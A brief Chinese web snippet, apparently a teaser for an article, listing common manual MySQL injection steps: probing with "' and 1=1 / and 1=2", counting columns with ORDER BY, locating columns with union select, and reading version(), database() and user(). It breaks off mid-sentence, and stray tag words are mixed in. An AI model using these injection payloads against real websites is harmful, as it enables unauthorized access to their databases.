MySQL 手工注入经常使用语句

判断是否存在SQL注入php ' and 1=1 and 1=2 暴字段长度mysql Order by 数字 匹配字段linux and 1=1 union select 1,2,..,n 暴字段位置web and 1=2 union select 1,2,..,n 利用内置函数暴数据库信息sql version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适

>>阅读原文<<